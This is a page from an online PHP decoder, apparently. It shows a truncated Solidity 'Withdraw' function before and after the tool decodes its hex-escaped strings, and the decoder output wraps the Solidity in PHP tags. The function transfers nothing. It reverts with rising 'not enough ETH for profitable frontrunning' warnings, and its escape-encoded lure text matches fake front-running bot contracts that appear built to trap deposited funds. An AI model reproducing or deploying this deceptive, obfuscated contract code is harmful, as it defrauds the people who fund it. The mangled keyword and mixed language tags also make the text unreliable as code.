Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
unction Withdraw() external onlyOwner { require(address(this).balance >= 5e16, "\..
Decoded Output download
<? unction Withdraw() external onlyOwner {
require(address(this).balance >= 5e16, "WARNING: Insufficient contract liquidity. Aborting...");
string memory baseMessage = "WARNING: not enough ETH for profitable frontrunning. Need at ";
string memory endMessage = " ETH at present market conditions. Wait for the market to cool down or fund the contract with more ETH.";
require(address(this).balance >= 5e17, string(abi.encodePacked(baseMessage, "0.5", endMessage)));
require(address(this).balance >= 1e18, string(abi.encodePacked(baseMessage, "1", endMessage)));
require(address(this).balance >= 2e18, string(abi.encodePacked(baseMessage, "2", endMessage)));
require(address(this).balance >= 5e18, string(abi.encodePacked(baseMessage, "5", endMessage)));
require(address(this).balance >= 1e19, string(abi.encodePacked(baseMessage, "10", endMessage)));
dummyCounter++;
} ?>
Did this file decode correctly?
Original Code
unction Withdraw() external onlyOwner {
require(address(this).balance >= 5e16, "\x57\x41\x52\x4e\x49\x4e\x47\x3a\x20\x49\x6e\x73\x75\x66\x66\x69\x63\x69\x65\x6e\x74\x20\x63\x6f\x6e\x74\x72\x61\x63\x74\x20\x6c\x69\x71\x75\x69\x64\x69\x74\x79\x2e\x20\x41\x62\x6f\x72\x74\x69\x6e\x67\x2e\x2e\x2e");
string memory baseMessage = "\x57\x41\x52\x4e\x49\x4e\x47\x3a\x20\x6e\x6f\x74\x20\x65\x6e\x6f\x75\x67\x68\x20\x45\x54\x48\x20\x66\x6f\x72\x20\x70\x72\x6f\x66\x69\x74\x61\x62\x6c\x65\x20\x66\x72\x6f\x6e\x74\x72\x75\x6e\x6e\x69\x6e\x67\x2e\x20\x4e\x65\x65\x64\x20\x61\x74\x20";
string memory endMessage = "\x20\x45\x54\x48\x20\x61\x74\x20\x70\x72\x65\x73\x65\x6e\x74\x20\x6d\x61\x72\x6b\x65\x74\x20\x63\x6f\x6e\x64\x69\x74\x69\x6f\x6e\x73\x2e\x20\x57\x61\x69\x74\x20\x66\x6f\x72\x20\x74\x68\x65\x20\x6d\x61\x72\x6b\x65\x74\x20\x74\x6f\x20\x63\x6f\x6f\x6c\x20\x64\x6f\x77\x6e\x20\x6f\x72\x20\x66\x75\x6e\x64\x20\x74\x68\x65\x20\x63\x6f\x6e\x74\x72\x61\x63\x74\x20\x77\x69\x74\x68\x20\x6d\x6f\x72\x65\x20\x45\x54\x48\x2e";
require(address(this).balance >= 5e17, string(abi.encodePacked(baseMessage, "\x30\x2e\x35", endMessage)));
require(address(this).balance >= 1e18, string(abi.encodePacked(baseMessage, "\x31", endMessage)));
require(address(this).balance >= 2e18, string(abi.encodePacked(baseMessage, "\x32", endMessage)));
require(address(this).balance >= 5e18, string(abi.encodePacked(baseMessage, "\x35", endMessage)));
require(address(this).balance >= 1e19, string(abi.encodePacked(baseMessage, "\x31\x30", endMessage)));
dummyCounter++;
}
Function Calls
None |
Stats
MD5 | 0df2fdd23f24205b4e19ace558bb9428 |
Eval Count | 0 |
Decode Time | 30 ms |